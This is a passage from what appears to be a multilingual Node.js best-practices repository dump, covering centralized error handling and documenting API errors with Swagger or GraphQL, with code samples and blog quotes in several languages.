ミドルウェア内でのエラー処理\n\n<details>\n<summary><strong>Javascript</strong></summary>\n\n```javascript\n// エラーを直接的に処理するミドルウェア、Cron ジョブやテストエラーは誰が処理するのでしょうか？\napp.use((err, req, res, next) => {\n  logger.logError(err);\n  if (err.severity == errors.high) {\n    mailer.sendMail(configuration.adminMail, 'Critical error occured', err);\n  }\n  if (!err.isOperational) {\n    next(err);\n  }\n});\n```\n</details>\n\n\n<details>\n<summary><strong>Typescript</strong></summary>\n\n```typescript\n// エラーを直接的に処理するミドルウェア、Cron ジョブやテストエラーは誰が処理するのでしょうか？\napp.use((err: Error, req: Request, res: Response, next: NextFunction) => {\n  logger.logError(err);\n  if (err.severity == errors.high) {\n    mailer.sendMail(configuration.adminMail, 'Critical error occured', err);\n  }\n  if (!err.isOperational) {\n    next(err);\n  }\n});\n```\n</details>\n\n### ブログ引用: \"Sometimes lower levels can’t do anything useful except propagate the error to their caller\"（時に下位レベルはエラーを呼び出し元に伝搬すること以外に役に立ちません）\n\nブログ Joyent（“Node.js error handling”というキーワードで 1 位）より\n\n> …スタックの複数レベルで同じエラーを処理することになるかもしれません。これは、呼び出し元にエラーを伝搬させ、その呼び出し元が伝搬されたエラーをその呼び出し元に伝搬させる、ということ繰り返す以外に、下位レベルの呼び出し元が役立つことをできない場合に起こります。多くの場合、操作を再試行するのか、ユーザーにエラーを報告するのか、はたまた何か他のことをするのか、最上位レベルの呼び出し元だけが適切な対応が何であるのかを知っています。しかし、これはすべてのエラーを単一のトップレベルのコールバックに報告しようとするべきだということを意味しているわけではありません。なぜならコールバック自身が、どのようなコンテキストでエラーが発生したのかを知ることができないためです。…\n\n### ブログ引用: \"Handling each err individually would result in tremendous duplication\"（各エラーを個別に処理することは途方も無い重複をもたらします）\n\nブログ JS Recipes（“Node.js error handling”というキーワードで 17 位）より\n\n> ……Hackathon Starter の api.js コントローラーだけでも、79 個以上のエラーオブジェクトが存在しています。それぞれのエラーを個別に処理することは、途方も無い量のコードの重複をもたらします。次にできる最も優れた方法は、すべてのエラー処理ロジックを Express のミドルウェアに委譲することです。…\n\n### ブログ引用: \"HTTP errors have no place in your database code\"（データベースコードに HTTP エラーの居場所はありません）\n\nブログ Daily JS（“Node.js error handling”というキーワードで 14 位）より\n\n> ……エラーオブジェクトには便利なプロパティを設定するべきですが、設定したプロパティは一貫して使用して下さい。また、ストリームをまたいではいけません: データベースコードには HTTP エラーの居場所はありません。ブラウザ開発者にとっては、Ajax のエラーは、サーバーと通信をしているコードの中にありますが、Mustache テンプレートを処理するコードの中には無いのです。…\n"
  },
  {
    "path": "sections/errorhandling/centralizedhandling.korean.md",
    "content": "# 에러를 미들웨어에서 처리하지 말고 한군데에서 집중적으로 처리해라\n\n### 한문단 설명\n\n에러 처리를 위한 전용 객체가 없으면 잘못된 처리로 인해 중요한 에러가 숨어있을 가능성이 더 커진다. 예를 들어, 에러 처리 객체는 [Sentry](https://sentry.io/), [Rollbar](https://rollbar.com/), 또는 [Raygun](https://raygun.com/))와 같은 모니터링 프로그램에 이벤트를 보내 에러를 가시적으로 만드는 역할을 한다. [Express](http://expressjs.com/en/guide/error-handling.html#writing-error-handlers),와 같은 대부분의 웹 프레임워크는 미들웨어 메커니즘 에러처리를 제공한다. 일반적인 에러 처리 흐름은 다음과 같다: 일부 모듈이 에러를 던진다 -> API 라우터가 에러를 잡는다 -> 에러를 에러 검출을 담당하는 미들웨어(예: Express, KOA)에 전달한다 -> 중앙 에러 처리기가 호출된다 -> 미들웨어는 이 에러가 신뢰할 수 없는 에러인지(작동하지 않음) 알려 앱을 정상적으로 재시작 할 수 있다. Express 미들웨어 내에서 오류를 처리하는 것이 일반적이지만 잘못된 관습이다 – 이렇게 하면 웹 이외의 인터페이스에 발생하는 에러를 해결 할 수 없다.\n\n### 코드 예시 – 일반적인 에러 흐름\n\n```javascript\n// DAL layer, we don't handle errors here\nDB.addDocument(newCustomer, (error, result) => {\n  if (error)\n    throw new Error(\"Great error explanation comes here\", other useful parameters)\n});\n\n// API route code, we catch both sync and async errors and forward to the middleware\ntry {\n  customerService.addNew(req.body).then((result) => {\n    res.status(200).json(result);\n  }).catch((error) => {\n    next(error)\n  });\n}\ncatch (error) {\n  next(error);\n}\n\n// Error handling middleware, we delegate the handling to the centralized error handler\napp.use(async (err, req, res, next) => {\n  const isOperationalError = await errorHandler.handleError(err);\n  if (!isOperationalError) {\n    next(err);\n  }\n});\n```\n\n### 코드 예시 – 전용 객체에서 에러 처리\n\n```javascript\nmodule.exports.handler = new errorHandler();\n\nfunction errorHandler() {\n  this.handleError = async function(err) {\n    await logger.logError(err);\n    await sendMailToAdminIfCritical;\n    await saveInOpsQueueIfCritical;\n    await determineIfOperationalError;\n  };\n}\n```\n\n### 코드 예시 – 좋지않은 패턴: 미들웨어에서 에러 처리\n\n```javascript\n// middleware handling the error directly, who will handle Cron jobs and testing errors?\napp.use((err, req, res, next) => {\n  logger.logError(err);\n  if (err.severity == errors.high) {\n    mailer.sendMail(configuration.adminMail, 'Critical error occured', err);\n  }\n  if (!err.isOperational) {\n    next(err);\n  }\n});\n```\n\n### 블로그 인용: \"때로 하위 레벨은 호출자에게 전달하는 것 외에 쓸모있는 일을 할 수 없다\"\n\nJoyent 블로그에서 \"Node.js 에러 처리\" 키워드 1위에 위치했다\n\n> …스택의 여러 레벨에서 동일한 오류를 처리할 수 있다. 이는 하위 레벨 수준에서 에러를 호출자에게 전달하는 것 외에는 쓸모있는 작업을 수행 할 수 없을 때 발생한다. 종종, 최상위 레벨 호출자만이 적절한 응답, 작업을 재시도할지, 사용자에게 에러를 보고할지, 또는 다른 작업을 수행할지를 알 수 있다. 그러나 모든 에러를 최상위 레벨에 보고해야 한다는 의미는 아니다, 왜냐하면 콜백 자체는 어떤 맥락에서 에러가 발생했는지 알 수 없기 때문이다…\n\n### 블로그 인용: \"각 에러를 개별적으로 처리하면 엄청난 중복이 발생할 수 있다\"\n\nJS Recipes 블로그에서 \"Node.js 에러 처리\" 키워드 17위에 위치했다\n\n> ……Hackathon Starter api.js 컨트롤러에서만 79개 이상의 오류 객체가 있다. 각 에러를 개별적으로 처리하면 엄청난 중복이 발생할 수 있다. 다음으로 가장 좋은 방법은 모든 에러 처리 로직을 Express 미들웨어에 위임하는 것이다…\n\n### 블로그 인용: \"HTTP 에러는 데이터베이스 코드에 포함되지 않는다\"\n\nDaily JS 블로그에서 \"Node.js 에러 처리\" 키워드 14위에 위치했다\n\n> ……에러 객체에 유용한 속성을 설정해야 하지만, 이런 속성은 일관되게 사용해야 한다. 그리고, 스트림을 넘지 마라: HTTP 에러는 데이터베이스 코드에 포함되지 않는다. 또한 브라우저 개발자의 경우, Ajax 에러는 서버와 통신하는 코드가 있지만, 머스테치(Mustache) 템플릿을 처리하는 코드는 아니다…"
  },
  {
    "path": "sections/errorhandling/centralizedhandling.md",
    "content": "# Handle errors centrally. Not within middlewares\n\n### One Paragraph Explainer\n\nWithout one dedicated object for error handling, greater are the chances for inconsistent errors handling: Errors thrown within web requests might get handled differently from those raised during the startup phase and those raised by scheduled jobs. This might lead to some types of errors that are being mismanaged. This single error handler object is responsible for making the error visible, for example, by writing to a well-formatted logger, firing metrics using some monitoring product (like [Prometheus](https://prometheus.io/), [CloudWatch](https://aws.amazon.com/cloudwatch/), [DataDog](https://www.datadoghq.com/), and [Sentry](https://sentry.io/)) and to decide whether the process should crash. Most web frameworks provide an error catching middleware mechanism - A typical mistake is to place the error handling code within this middleware. By doing so, you won't be able to reuse the same handler for errors that are caught in different scenarios like scheduled jobs, message queue subscribers, and uncaught exceptions. Consequently, the error middleware should only catch errors and forward them to the handler. A typical error handling flow might be: Some module throws an error -> API router catches the error -> it propagates the error to the middleware (e.g. or to other mechanism for catching request-level error) who is responsible for catching errors -> a centralized error handler is called.\n\n### Code Example – a typical error flow\n\n<details>\n<summary><strong>Javascript</strong></summary>\n\n```javascript\n// DAL layer, we don't handle errors here\nDB.addDocument(newCustomer, (error, result) => {\n  if (error)\n    throw new Error('Great error explanation comes here', other useful parameters)\n});\n\n// API route code, we catch both sync and async errors and forward to the middleware\ntry {\n  customerService.addNew(req.body).then((result) => {\n    res.status(200).json(result);\n  }).catch((error) => {\n    next(error)\n  });\n}\ncatch (error) {\n  next(error);\n}\n\n// Error handling middleware, we delegate the handling to the centralized error handler\napp.use(async (err, req, res, next) => {\n  await errorHandler.handleError(err, res);//The error handler will send a response\n});\n\nprocess.on(\"uncaughtException\", error => {\n  errorHandler.handleError(error);\n});\n\nprocess.on(\"unhandledRejection\", (reason) => {\n  errorHandler.handleError(reason);\n});\n```\n</details>\n\n<details>\n<summary><strong>Typescript</strong></summary>\n\n```typescript\n// DAL layer, we don't handle errors here\nDB.addDocument(newCustomer, (error: Error, result: Result) => {\n  if (error)\n    throw new Error('Great error explanation comes here', other useful parameters)\n});\n\n// API route code, we catch both sync and async errors and forward to the middleware\ntry {\n  customerService.addNew(req.body).then((result: Result) => {\n    res.status(200).json(result);\n  }).catch((error: Error) => {\n    next(error)\n  });\n}\ncatch (error) {\n  next(error);\n}\n\n// Error handling middleware, we delegate the handling to the centralized error handler\napp.use(async (err: Error, req: Request, res: Response, next: NextFunction) => {\n  await errorHandler.handleError(err, res);\n});\n\nprocess.on(\"uncaughtException\", (error:Error) => {\n  errorHandler.handleError(error);\n});\n\nprocess.on(\"unhandledRejection\", (reason) => {\n  errorHandler.handleError(reason);\n});\n```\n</details>\n\n\n### Code example – handling errors within a dedicated object\n\n<details>\n<summary><strong>Javascript</strong></summary>\n\n```javascript\nmodule.exports.handler = new errorHandler();\n\nfunction errorHandler() {\n  this.handleError = async (error, responseStream) => {\n    await logger.logError(error);\n    await fireMonitoringMetric(error);\n    await crashIfUntrustedErrorOrSendResponse(error, responseStream);\n  };\n}\n```\n</details>\n\n<details>\n<summary><strong>Typescript</strong></summary>\n\n```typescript\nclass ErrorHandler {\n  public async handleError(error: Error, responseStream: Response): Promise<void> {\n    await logger.logError(error);\n    await fireMonitoringMetric(error);\n    await crashIfUntrustedErrorOrSendResponse(error, responseStream);\n  };\n}\n\nexport const handler = new ErrorHandler();\n```\n</details>\n\n\n### Code Example – Anti Pattern: handling errors within the middleware\n\n<details>\n<summary><strong>Javascript</strong></summary>\n\n```javascript\n// middleware handling the error directly, who will handle Cron jobs and testing errors?\napp.use((err, req, res, next) => {\n  logger.logError(err);\n  if (err.severity == errors.high) {\n    mailer.sendMail(configuration.adminMail, 'Critical error occured', err);\n  }\n  if (!err.isOperational) {\n    next(err);\n  }\n});\n```\n</details>\n\n\n<details>\n<summary><strong>Typescript</strong></summary>\n\n```typescript\n// middleware handling the error directly, who will handle Cron jobs and testing errors?\napp.use((err: Error, req: Request, res: Response, next: NextFunction) => {\n  logger.logError(err);\n  if (err.severity == errors.high) {\n    mailer.sendMail(configuration.adminMail, 'Critical error occured', err);\n  }\n  if (!err.isOperational) {\n    next(err);\n  }\n});\n```\n</details>\n\n ### Illustration: The error handling actors and flow\n![alt text](../../assets/images/error-handling-flow.png \"Error handling flow\")\n\n\n### Blog Quote: \"Sometimes lower levels can’t do anything useful except propagate the error to their caller\"\n\nFrom the blog Joyent, ranked 1 for the keywords “Node.js error handling”\n\n> …You may end up handling the same error at several levels of the stack. This happens when lower levels can’t do anything useful except propagate the error to their caller, which propagates the error to its caller, and so on. Often, only the top-level caller knows what the appropriate response is, whether that’s to retry the operation, report an error to the user, or something else. But that doesn’t mean you should try to report all errors to a single top-level callback, because that callback itself can’t know in what context the error occurred…\n\n### Blog Quote: \"Handling each err individually would result in tremendous duplication\"\n\nFrom the blog JS Recipes ranked 17 for the keywords “Node.js error handling”\n\n> ……In Hackathon Starter api.js controller alone, there are over 79 occurrences of error objects. Handling each err individually would result in a tremendous amount of code duplication. The next best thing you can do is to delegate all error handling logic to an Express middleware…\n\n### Blog Quote: \"HTTP errors have no place in your database code\"\n\nFrom the blog Daily JS ranked 14 for the keywords “Node.js error handling”\n\n> ……You should set useful properties in error objects, but use such properties consistently. And, don’t cross the streams: HTTP errors have no place in your database code. Or for browser developers, Ajax errors have a place in the code that talks to the server, but not code that processes Mustache templates…\n"
  },
  {
    "path": "sections/errorhandling/centralizedhandling.polish.md",
    "content": "# Obsługuj błędy centralnie. Nie w ramach oprogramowania pośredniego\n\n### Wyjaśnienie jednym akapitem\n\nBez jednego obiektu dedykowanego do obsługi błędów większe są szanse na poważne błędy ukryte pod radarem z powodu niewłaściwej obsługi. Obiekt obsługi błędów jest odpowiedzialny za uwidocznienie błędu, na przykład poprzez napisanie do dobrze sformatowanego programu rejestrującego, wysyłanie zdarzeń do jakiegoś produktu monitorującego, takiego jak [Sentry](https://sentry.io/), [Rollbar](https://rollbar.com/) lub [Raygun](https://raygun.com/). Większość frameworków internetowych, takich jak [Express](http://expressjs.com/en/guide/error-handling.html#writing-error-handlers), udostępnia mechanizm pośredniej obsługi błędów. Typowy przepływ obsługi błędów może być następujący: Niektóre moduły zgłaszają błąd -> router API łapie błąd -> propaguje błąd do oprogramowania pośredniego (np. Express, KOA), który jest odpowiedzialny za wychwytywanie błędów -> scentralizowany moduł obsługi błędów -> oprogramowanie pośredniczące jest informowane, czy ten błąd jest niezaufanym błędem (nie działa), aby mógł z wdziękiem ponownie uruchomić aplikację. Pamiętaj, że częstą, ale niepoprawną praktyką jest obsługa błędów w oprogramowaniu pośrednim Express - takie postępowanie nie obejmie błędów zgłaszanych w interfejsach innych niż internetowe.\n\n### Przykład kodu - typowy przepływ błędów\n\n<details>\n<summary><strong>Javascript</strong></summary>\n\n```javascript\n// DAL layer, we don't handle errors here\nDB.addDocument(newCustomer, (error, result) => {\n  if (error)\n    throw new Error('Great error explanation comes here', other useful parameters)\n});\n\n// API route code, we catch both sync and async errors and forward to the middleware\ntry {\n  customerService.addNew(req.body).then((result) => {\n    res.status(200).json(result);\n  }).catch((error) => {\n    next(error)\n  });\n}\ncatch (error) {\n  next(error);\n}\n\n// Error handling middleware, we delegate the handling to the centralized error handler\napp.use(async (err, req, res, next) => {\n  const isOperationalError = await errorHandler.handleError(err);\n  if (!isOperationalError) {\n    next(err);\n  }\n});\n```\n</details>\n\n<details>\n<summary><strong>Typescript</strong></summary>\n\n```typescript\n// DAL layer, we don't handle errors here\nDB.addDocument(newCustomer, (error: Error, result: Result) => {\n  if (error)\n    throw new Error('Great error explanation comes here', other useful parameters)\n});\n\n// API route code, we catch both sync and async errors and forward to the middleware\ntry {\n  customerService.addNew(req.body).then((result: Result) => {\n    res.status(200).json(result);\n  }).catch((error: Error) => {\n    next(error)\n  });\n}\ncatch (error) {\n  next(error);\n}\n\n// Error handling middleware, we delegate the handling to the centralized error handler\napp.use(async (err: Error, req: Request, res: Response, next: NextFunction) => {\n  const isOperationalError = await errorHandler.handleError(err);\n  if (!isOperationalError) {\n    next(err);\n  }\n});\n```\n</details>\n\n\n### Przykład kodu - obsługa błędów w obiekcie dedykowanym\n\n<details>\n<summary><strong>Javascript</strong></summary>\n\n```javascript\nmodule.exports.handler = new errorHandler();\n\nfunction errorHandler() {\n  this.handleError = async (err) => {\n    await logger.logError(err);\n    await sendMailToAdminIfCritical;\n    await saveInOpsQueueIfCritical;\n    await determineIfOperationalError;\n  };\n}\n```\n</details>\n\n<details>\n<summary><strong>Typescript</strong></summary>\n\n```typescript\nclass ErrorHandler {\n  public async handleError(err: Error): Promise<void> {\n    await logger.logError(err);\n    await sendMailToAdminIfCritical();\n    await saveInOpsQueueIfCritical();\n    await determineIfOperationalError();\n  };\n}\n\nexport const handler = new ErrorHandler();\n```\n</details>\n\n\n### Przykład kodu - Antywzorzec: obsługa błędów w oprogramowaniu pośrednim\n\n<details>\n<summary><strong>Javascript</strong></summary>\n\n```javascript\n// middleware handling the error directly, who will handle Cron jobs and testing errors?\napp.use((err, req, res, next) => {\n  logger.logError(err);\n  if (err.severity == errors.high) {\n    mailer.sendMail(configuration.adminMail, 'Critical error occured', err);\n  }\n  if (!err.isOperational) {\n    next(err);\n  }\n});\n```\n</details>\n\n\n<details>\n<summary><strong>Typescript</strong></summary>\n\n```typescript\n// middleware handling the error directly, who will handle Cron jobs and testing errors?\napp.use((err: Error, req: Request, res: Response, next: NextFunction) => {\n  logger.logError(err);\n  if (err.severity == errors.high) {\n    mailer.sendMail(configuration.adminMail, 'Critical error occured', err);\n  }\n  if (!err.isOperational) {\n    next(err);\n  }\n});\n```\n</details>\n\n### Cytat z Bloga: \"Sometimes lower levels can’t do anything useful except propagate the error to their caller\"\n\nZ bloga Joyent, w rankingu 1 dla słów kluczowych “Node.js error handling”\n\n> …You may end up handling the same error at several levels of the stack. This happens when lower levels can’t do anything useful except propagate the error to their caller, which propagates the error to its caller, and so on. Often, only the top-level caller knows what the appropriate response is, whether that’s to retry the operation, report an error to the user, or something else. But that doesn’t mean you should try to report all errors to a single top-level callback, because that callback itself can’t know in what context the error occurred…\n\n### Cytat z Bloga: \"Handling each err individually would result in tremendous duplication\"\n\nZ bloga JS Recipes w rankingu 17 dla słów kluczowych “Node.js error handling”\n\n> ……In Hackathon Starter api.js controller alone, there are over 79 occurrences of error objects. Handling each err individually would result in a tremendous amount of code duplication. The next best thing you can do is to delegate all error handling logic to an Express middleware…\n\n### Cytat z Bloga: \"HTTP errors have no place in your database code\"\n\nZ bloga Daily JS w rankingu 14 dla słów kluczowych “Node.js error handling”\n\n> ……You should set useful properties in error objects, but use such properties consistently. And, don’t cross the streams: HTTP errors have no place in your database code. Or for browser developers, Ajax errors have a place in the code that talks to the server, but not code that processes Mustache templates…\n"
  },
  {
    "path": "sections/errorhandling/centralizedhandling.russian.md",
    "content": "# Обрабатывайте ошибки централизованно. Не в промежуточных слоях\n\n### Объяснение в один абзац\n\nБез выделенного объекта для обработки ошибок есть больше шансов на то, что ошибки потеряются с радара из-за их неправильной обработки. Объект обработчика ошибок отвечает за отображение ошибки, например, путем записи в логгер, отправки событий в сервисы мониторинга, такие как [Sentry](https://sentry.io/), [Rollbar](https://rollbar.com/) или [Raygun](https://raygun.com/). Большинство веб-фреймворков, таких как [Express](http://expressjs.com/en/guide/error-handling.html#writing-error-handlers), предоставляют механизм обработки ошибок с помощью функций промежуточной обработки (**middlewares**). Типичный поток обработки ошибок может выглядеть следующим образом: какой-то модуль выдает ошибку -> API-маршрутизатор перехватывает ошибку -> он передает ошибку функции промежуточной обработки (Express, KOA), которая отвечает за перехват ошибок -> вызывается централизованный обработчик ошибок -> функции промежуточной обработки передается информация о том, что является ли эта ошибка ненадежной (необрабатываемой), чтобы она могла корректно перезапустить приложение. Обратите внимание, что обычная, но неправильная практика - обрабатывать ошибки в функции промежуточной обработки Express - это не распространяется на ошибки, возникающие в не-веб-интерфейсах.\n\n### Пример кода - типичный поток ошибок\n\n<details>\n<summary><strong>Javascript</strong></summary>\n\n```javascript\n// DAL-слой, мы не обрабатываем ошибки тут\nDB.addDocument(newCustomer, (error, result) => {\n  if (error)\n    throw new Error('Great error explanation comes here', other useful parameters)\n});\n\n// код API-маршрутизатора, мы обрабатываем как sync\n// так и async ошибки и переходим к middleware\ntry {\n  customerService.addNew(req.body).then((result) => {\n    res.status(200).json(result);\n  }).catch((error) => {\n    next(error)\n  });\n}\ncatch (error) {\n  next(error);\n}\n\n// Обработка ошибок в middleware, мы делегируем обработку централизованному обработчику ошибок\napp.use(async (err, req, res, next) => {\n  const isOperationalError = await errorHandler.handleError(err);\n  if (!isOperationalError) {\n    next(err);\n  }\n});\n```\n</details>\n\n<details>\n<summary><strong>Typescript</strong></summary>\n\n```typescript\n// DAL-слой, мы не обрабатываем ошибки тут\nDB.addDocument(newCustomer, (error: Error, result: Result) => {\n  if (error)\n    throw new Error('Great error explanation comes here', other useful parameters)\n});\n\n// код API-маршрутизатора, мы обрабатываем как sync\n// так и async ошибки и переходим к middleware\ntry {\n  customerService.addNew(req.body).then((result: Result) => {\n    res.status(200).json(result);\n  }).catch((error: Error) => {\n    next(error)\n  });\n}\ncatch (error) {\n  next(error);\n}\n\n// Обработка ошибок в middleware, мы делегируем обработку централизованному обработчику ошибок\napp.use(async (err: Error, req: Request, res: Response, next: NextFunction) => {\n  const isOperationalError = await errorHandler.handleError(err);\n  if (!isOperationalError) {\n    next(err);\n  }\n});\n```\n</details>\n\n\n### Пример кода - обработка ошибок в выделенном объекте\n\n<details>\n<summary><strong>Javascript</strong></summary>\n\n```javascript\nmodule.exports.handler = new errorHandler();\n\nfunction errorHandler() {\n  this.handleError = async (err) {\n    await logger.logError(err);\n    await sendMailToAdminIfCritical(err);\n    await saveInOpsQueueIfCritical(err);\n    await determineIfOperationalError(err);\n  };\n}\n```\n</details>\n\n<details>\n<summary><strong>Typescript</strong></summary>\n\n```typescript\nclass ErrorHandler {\n  public async handleError(err: Error): Promise<void> {\n    await logger.logError(err);\n    await sendMailToAdminIfCritical(err);\n    await saveInOpsQueueIfCritical(err);\n    await determineIfOperationalError(err);\n  };\n}\n\nexport const handler = new ErrorHandler();\n```\n</details>\n\n\n### Пример кода - антипаттерн: обработка ошибок в middleware\n\n<details>\n<summary><strong>Javascript</strong></summary>\n\n```javascript\n// middleware, обрабатывающий ошибки напрямую.\n// А кто будет обрабатывать ошибки возникшие в Cron или при юнит-тестировании?\napp.use((err, req, res, next) => {\n  logger.logError(err);\n  if (err.severity == errors.high) {\n    mailer.sendMail(configuration.adminMail, 'Critical error occured', err);\n  }\n  if (!err.isOperational) {\n    next(err);\n  }\n});\n```\n</details>\n\n\n<details>\n<summary><strong>Typescript</strong></summary>\n\n```typescript\n// middleware, обрабатывающий ошибки напрямую.\n// А кто будет обрабатывать ошибки возникшие в Cron или при юнит-тестировании?\napp.use((err: Error, req: Request, res: Response, next: NextFunction) => {\n  logger.logError(err);\n  if (err.severity == errors.high) {\n    mailer.sendMail(configuration.adminMail, 'Critical error occured', err);\n  }\n  if (!err.isOperational) {\n    next(err);\n  }\n});\n```\n</details>\n\n### Цитата из блога: \"Иногда нижние слои не могут сделать ничего полезного, кроме как сообщить об ошибке вызывающему слою\"\n\nИз блога Joyent, занимающего 1 место по ключевым словам \"Обработка ошибок Node.js\"\n\n> … Вы можете обработать одну и ту же ошибку на нескольких слоях. Это происходит, когда нижние слои не могут сделать ничего полезного, кроме как передать ошибку вызывающему слою, который передаст ошибку своему вызывающему слою, и так далее. Зачастую только самый верхний слой знает, что является подходящим действием на ошибку: попытка повторить операцию, сообщить пользователю об ошибке или что-то еще. Но это не значит, что вы должны пытаться сообщать обо всех ошибках в один верхний callback, потому что этот callback не может знать, в каком контексте произошла ошибка …\n\n### Цитата из блога: \"Обработка каждой ошибки по отдельности приведет к ужасному дублированию\"\n\nИз блога JS Recipes, занимающего 17 место по ключевым словам \"Обработка ошибок Node.js\"\n\n> … Только в контроллере api.js Hackathon Starter имеется более 79 объектов ошибок. Обработка каждой ошибки в отдельности привела бы к ужасному дублированию кода. Следующее, что вы можете сделать, это делегировать всю логику обработки ошибок в middleware Express …\n\n### Цитата из блога: \"В коде вашей базы данных нет места ошибкам HTTP\"\n\nИз блога Daily JS, занимающем 14 место по ключевым словам \"Обработка ошибок Node.js\"\n\n> … Вы должны добавлять полезные свойства в объекты ошибок, но использовать их согласовано. И не пересекайте логику: в коде вашей базы данных нет места ошибкам HTTP. Или, например, для frontend-разработчиков, ошибки Ajax имеют место в коде, который общается с сервером, но не в коде, который работает с шаблонами Mustache …\n"
  },
  {
    "path": "sections/errorhandling/documentingusingswagger.basque.md",
    "content": "# Dokumentatu API erroreak OpenAPI (aurretik Swagger bezala ezagutua) edo GraphQL-ren laguntzarekin\r\n\r\n### Azalpena\r\n\r\nREST APIek HTTP estatus kodigoak erabiliz bueltatzen dituzte emaitzak. APIaren erabiltzailearentzat guztiz beharrezkoa da APIaren egituraren eta baita ere errore posibleen berri izatea, erabiltzaileak errorea atzeman eta kontu handiz kudea dezake eta. Adibidez, zure APIaren dokumentazioak aurrez azaldu behar du 409 HTTP estatus kodea bueltatzen dela bezeroaren izena iada existitzen denean (APIak bezero berriak gordetzen dituela ziurtzat joz), APIaren erabiltzaileak egoera bakoitzerako bistaratze egokiena proposa dezan. OpenAPI (aitzina Swagger) APIaren dokumentaziorako eskema bat zehazten duen estandar bat da, dokumentazioa online modu errazean sortzea ahalbidetzen duten tresna ekosistema bat proposatuz. Begiratu hurrengo pantailako argazkiak beherago\r\n\r\nDagoeneko GraphQL erabiltzen baduzu zure APIaren helburuetarako, zure eskemak iada zorrozki bermatzen du zein errorek zein itxura eduki beharko luketen ([dokumentuan laburbilduta](https://facebook.github.io/graphql/June2018/#sec-Errors)) eta nola kudeatu beharko liratekeen zure bezero tresnekin. Gainera, komentarioz osatutako dokumentazioa ere gehi zenezake\r\n\r\n### GraphQL errore baten adibidea\r\n\r\n> Adibide honek [SWAPI](https://graphql.org/swapi-graphql) erabiltzen du, Star Warsen APIa.\r\n\r\n```graphql\r\n# huts egin beharko luke id ez baita zuzena\r\n{\r\n  filmea(id: \"1ZmlsbXM6MQ==\") {\r\n    izenburua\r\n  }\r\n}\r\n```\r\n\r\n```json\r\n{\r\n  \"erroreak\": [\r\n    {\r\n      \"mezua\": \"Ez dago sarrerarik cache lokalean https://swapi.co/api/films/.../-rentzat\",\r\n      \"lekuak\": [\r\n        {\r\n          \"ilara\": 2,\r\n          \"zutabea\": 3\r\n        }\r\n      ],\r\n      \"bidea\": [\"filmea\"]\r\n    }\r\n  ],\r\n  \"datuak\": {\r\n    \"filmea\": null\r\n  }\r\n}\r\n```\r\n\r\n### Blog aipua: \"Zure deitzaileei zein errore gertatu diren esan behar diezu\"\r\n\r\nJoyent blogeko “Node.js erregistratzea“ hitz gako bati esker sailkatua\r\n\r\n> Erroreak nola kudeatu behar diren aztertu dugu, baina funtzio berri bat idazten ari zarenean, nola bidaltzen dizkiozu erroreak zure funtzioa deitu duen kodeari? …Zein errore gerta litezkeen edo haiek zer esan nahi duten ez badakizu, esan nahi du zure programa ezin litekeela zuzena izan, txiripaz izan ezean. Beraz, funtzio berri bat idazten ari bazara, zure deitzaileei zein errore gerta litezkeen eta haiek zer esan nahi duten esan behar diezu…\r\n\r\n### Tresna erabilgarria: Swagger Online Dokumentazio Sortzailea\r\n\r\n![Swagger API Eskema](../../assets/images/swaggerDoc.png \"APIen errore kudeaketa\")\r\n"
  },
  {
    "path": "sections/errorhandling/documentingusingswagger.brazilian-portuguese.md",
    "content": "# Documente erros de API usando o Swagger ou GraphQL\r\n\r\n### Explicação em um Parágrafo\r\n\r\nAs APIs REST retornam resultados usando códigos de status HTTP. É absolutamente necessário que o usuário da API esteja ciente não apenas sobre o esquema da API, mas também sobre possíveis erros – o chamador pode, então, pegar um erro e, com muito tato, lidar com ele. Por exemplo, a documentação da API pode indicar antecipadamente que o status HTTP 409 é retornado quando o nome do cliente já existir (supondo que a API registre novos usuários) para que o responsável pela chamada possa renderizar a melhor esperiência de usuário para a situação determinada. O Swagger é um padrão que define o esquema da documentação da API, oferecendo um ecossistema de ferramentas que permitem criar documentação facilmente on-line, veja as telas de impressão abaixo.\r\n\r\nSe você já adotou o GraphQL para seus endpoints da API, seu esquema já contém garantias estritas de quais erros devem ser parecidos ([descritos na especificação](https://facebook.github.io/graphql/June2018/#sec-Errors)) e como eles devem ser manipulados por suas ferramentas do lado do cliente. Além disso, você também pode complementá-los com documentação baseada em comentários.\r\n\r\n### Exemplo de Erro no GraphQL\r\n\r\n> Esse exemplo usa [SWAPI](https://graphql.org/swapi-graphql), o API de Star Wars.\r\n\r\n```graphql\r\n# deve falhar porque o id não é válido\r\n{\r\n  film(id: \"1ZmlsbXM6MQ==\") {\r\n    title\r\n  }\r\n}\r\n```\r\n\r\n```json\r\n{\r\n  \"errors\": [\r\n    {\r\n      \"message\": \"Nenhuma entrada no cache local para https://swapi.co/api/films/.../\",\r\n      \"locations\": [\r\n        {\r\n          \"line\": 2,\r\n          \"column\": 3\r\n        }\r\n      ],\r\n      \"path\": [\r\n        \"film\"\r\n      ]\r\n    }\r\n  ],\r\n  \"data\": {\r\n    \"film\": null\r\n  }\r\n}\r\n```\r\n\r\n### Citação de Blog: \"Você tem que dizer aos seus chamadores que erros podem acontecer\"\r\n\r\nDo blog Joyent, classificado como 1 para as palavras-chave “Node.js logging”\r\n\r\n > Já falamos sobre como lidar com erros, mas quando você está escrevendo uma nova função, como você entrega erros ao código que chamou sua função? …Se você não sabe quais erros podem acontecer ou não sabe o que eles significam, seu programa não pode estar correto, exceto por acidente. Então, se você está escrevendo uma nova função, precisa dizer a seus chamadores quais erros podem acontecer e o que eles significam…\r\n\r\n### Ferramenta Útil: Swagger Criação de Documentação Online\r\n\r\n![Swagger API Scheme](../../assets/images/swaggerDoc.png \"lidando com erros API\")\r\n"
  },
  {
    "path": "sections/errorhandling/documentingusingswagger.chinese.md",
